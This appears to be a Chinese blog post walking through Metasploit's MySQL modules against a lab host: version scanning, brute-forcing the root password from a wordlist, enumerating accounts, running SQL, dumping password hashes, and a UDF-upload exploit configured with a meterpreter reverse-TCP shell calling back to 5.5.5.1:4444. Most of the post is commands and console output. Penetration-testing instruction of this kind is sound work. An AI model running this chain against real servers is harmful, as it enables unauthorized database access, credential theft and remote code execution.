msf关于mysql模块的详细利用

最新推荐文章于 2022-08-06 12:02:07 发布

爱上卿Ooo

最新推荐文章于 2022-08-06 12:02:07 发布

阅读量2.2k

点赞数

文章标签： mysql msf

1.确定版本
auxiliary/scanner/mysql/mysql_version 某些ip设置了指定的接入ip,可能没有接入权限

2.扫描弱口令
auxiliary/scanner/mysql/mysql_login
msf  auxiliary(mysql_login) > set USERNAME root
USERNAME => root
msf  auxiliary(mysql_login) > set PASS_FILE /pen/msf3/data/wordlists/postgres_default_pass.txt
PASS_FILE => /pen/msf3/data/wordlists/postgres_default_pass.txt
msf  auxiliary(mysql_login) > exploit

[+] 5.5.5.3:3306 - SUCCESSFUL LOGIN 'root' : '123456'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

查看结果：

msf  auxiliary(mysql_login) > creds

Credentials
===========

host     port  user  pass    type      active?
----     ----  ----  ----    ----      -------
5.5.5.3  3306  root  123456  password  true

[*] Found 1 credential.

3.查看数据库信息(需要有用户名和口令)
auxiliary/admin/mysql/mysql_enum
msf  auxiliary(mysql_enum) > show options

msf  auxiliary(mysql_enum) > set PASSWORD 123456
msf  auxiliary(mysql_enum) > set USERNAME root
msf  auxiliary(mysql_enum) > exploit

[*] Running MySQL Enumerator...
[*] Enumerating Parameters
[*]     MySQL Version: 5.5.16
[*]     Compiled for the following OS: Win32
[*]     Architecture: x86
[*]     Server Hostname: dis9team-a1
[*]     Data Directory: C:\xampp\mysql\data\
[*]     Logging of queries and logins: OFF
[*]     Old Password Hashing Algorithm OFF
[*]     Loading of local files: ON
[*]     Logins with old Pre-4.1 Passwords: OFF
[*]     Allow Use of symlinks for Database Files: YES
[*]     Allow Table Merge:
[*]     SSL Connection: DISABLED
[*] Enumerating Accounts:
[*]     List of Accounts with Password Hashes:
[*]         User: root Host: localhost Password Hash: *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
[*]         User: root Host: 127.0.0.1 Password Hash:
[*]         User:  Host: localhost Password Hash:
[*]         User: pma Host: localhost Password Hash:
[*]         User: root Host: % Password Hash: *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
[*]     The following users have GRANT Privilege:
[*]         User: root Host: localhost
[*]         User: root Host: 127.0.0.1
[*]         User: root Host: %
[*]     The following users have CREATE USER Privilege:
[*]         User: root Host: localhost
[*]         User: root Host: 127.0.0.1
[*]         User: root Host: %
[*]     The following users have RELOAD Privilege:
[*]         User: root Host: localhost
[*]         User: root Host: 127.0.0.1
[*]         User: root Host: %
[*]     The following users have SHUTDOWN Privilege:
[*]         User: root Host: localhost
[*]         User: root Host: 127.0.0.1
[*]         User: root Host: %
[*]     The following users have SUPER Privilege:
[*]         User: root Host: localhost
[*]         User: root Host: 127.0.0.1
[*]         User: root Host: %
[*]     The following users have FILE Privilege:
[*]         User: root Host: localhost
[*]         User: root Host: 127.0.0.1
[*]         User: root Host: %
[*]     The following users have PROCESS Privilege:
[*]         User: root Host: localhost
[*]         User: root Host: 127.0.0.1
[*]         User: root Host: %
[*]     The following accounts have privileges to the mysql database:
[*]         User: root Host: localhost
[*]         User: root Host: 127.0.0.1
[*]         User: root Host: %
[*]     Anonymous Accounts are Present:
[*]         User:  Host: localhost
[*]     The following accounts have empty passwords:
[*]         User: root Host: 127.0.0.1
[*]         User:  Host: localhost
[*]         User: pma Host: localhost
[*]     The following accounts are not restricted by source:
[*]         User: root Host: %
[*] Auxiliary module execution completed
msf  auxiliary(mysql_enum) >

4.执行语句
msf  auxiliary(mysql_enum) > use auxiliary/admin/mysql/mysql_sql
msf  auxiliary(mysql_sql) > show options

Module options (auxiliary/admin/mysql/mysql_sql):

msf  auxiliary(mysql_sql) > set PASSWORD 123456
PASSWORD => 123456
msf  auxiliary(mysql_sql) > set RHOST 5.5.5.3
RHOST => 5.5.5.3
msf  auxiliary(mysql_sql) > set USERNAME root
USERNAME => root
msf  auxiliary(mysql_sql) > exploit

[*] Sending statement: 'select version()'...
[*]  | 5.5.16 |
[*] Auxiliary module execution completed
msf  auxiliary(mysql_sql) >

5.导出HASH
msf  auxiliary(mysql_sql) > use auxiliary/scanner/mysql/mysql_hashdump
msf  auxiliary(mysql_hashdump) > show options

Module options (auxiliary/scanner/mysql/mysql_hashdump):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS                     yes       The target address range or CIDR identifier
   RPORT     3306             yes       The target port
   THREADS   1                yes       The number of concurrent threads
   USERNAME                   no        The username to authenticate as

msf  auxiliary(mysql_hashdump) > set PASSWORD 123456
PASSWORD => 123456
smsf  auxiliary(mysql_hashdump) > set USERNAME root
USERNAME => root
msf  auxiliary(mysql_hashdump) > set RHOSTS 5.5.5.3
RHOSTS => 5.5.5.3
msf  auxiliary(mysql_hashdump) > exploit

[+] Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
[+] Saving HashString as Loot: root:
[+] Saving HashString as Loot: :
[+] Saving HashString as Loot: pma:
[+] Saving HashString as Loot: root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
[+] Saving HashString as Loot: dis9team:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
[*] Hash Table has been saved: /home/brk/.msf4/loot/20120312075809_default_5.5.5.3_mysql.hashes_864135.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(mysql_hashdump) >

7.权限提升
msf  auxiliary(mysql_login) > use exploit/windows/mysql/mysql_payload
msf  exploit(mysql_payload) > set RHOST 5.5.5.3
RHOST => 5.5.5.3
msf  exploit(mysql_payload) > show options

Module options (exploit/windows/mysql/mysql_payload):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   FORCE_UDF_UPLOAD  false            no        Always attempt to install a sys_exec() mysql.function.
   PASSWORD                           no        The password for the specified username
   RHOST             5.5.5.3          yes       The target address
   RPORT             3306             yes       The target port
   USERNAME          root             no        The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST     5.5.5.1          yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf  exploit(mysql_payload) > set PASSWORD 123456
PASSWORD => 123456
msf  exploit(mysql_payload) > exploit
[*] Started reverse handler on 5.5.5.1:4444
[*] Checking target architecture...
[*] Checking for sys_exec()...
[*] Checking target architecture...
[*] Checking for MySQL plugin directory...
[*] Target arch (win32) and target path both okay.
[*] Uploading lib_mysqludf_sys_32.dll library to C:/xampp/mysql/lib/plugin/CHlQoqQu.dll...
[*] Checking for sys_exec()...
[*] Command Stager progress -  10.26% done (10493/102246 bytes)
[*] Command Stager progress -  30.79% done (31479/102246 bytes)
[*] Command Stager progress -  80.63% done (82445/102246 bytes)
[*] Command Stager progress - 100.00% done (102246/102246 bytes)
msf  exploit(mysql_payload) > sessions

Active sessions
===============

No active sessions.

msf  exploit(mysql_payload) >

ySQL password hashdump (mysql_hashdump)
如下命令可调用这个模块:
msf > use auxiliary/scanner/mysql/mysql_hashdump
RHOST：目标IP(可以是单个IP，也可以是一个网段192.168.1.0-192.168.1.255 or 192.168.1.0/24，当然文件形式也可以file:/tmp/ip_addresses.txt)
THREADS：线程数
USERNAME：用户名
PASSWORD：密码

MySQL enumeration (mysql_enum)
如下命令可调用这个模块:
msf > use auxiliary/admin/mysql/mysql_enum
这个模块可以读取mysql服务器的相关信息，如
•     The MySQL version
•     The MySQL OS compilation target
•     The server architecture
•     The server hostname
•     The MySQL datas directory location
•     If logging of queries and logins is activated or not, and log files location
•     If the old password hashing algorithm support is activated or not
•     If local files loading (infile) is activated or not
•     If logins with old Pre-4.1 passwords is authorized or not

MySQL Authbypass(mysql_authbypass_hashdump)
如下命令可调用这个模块:

msf > use auxiliary/admin/mysql/mysql_authbypass_hashdump

1.确定版本
auxiliary/scanner/mysql/mysql_version 某些ip设置了指定的接入ip,可能没有接入权限

爱上卿Ooo

关注

0
点赞
踩
4

收藏

觉得还不错? 一键收藏
0
评论
msf关于mysql模块的详细利用

1.确定版本auxiliary/scanner/mysql/mysql_version 某些ip设置了指定的接入ip,可能没有接入权限2.扫描弱口令auxiliary/scanner/mysql/mysql_loginmsf auxiliary(mysql_login) &gt; set USERNAME rootUSERNAME =&gt; rootmsf auxilia...
复制链接

扫一扫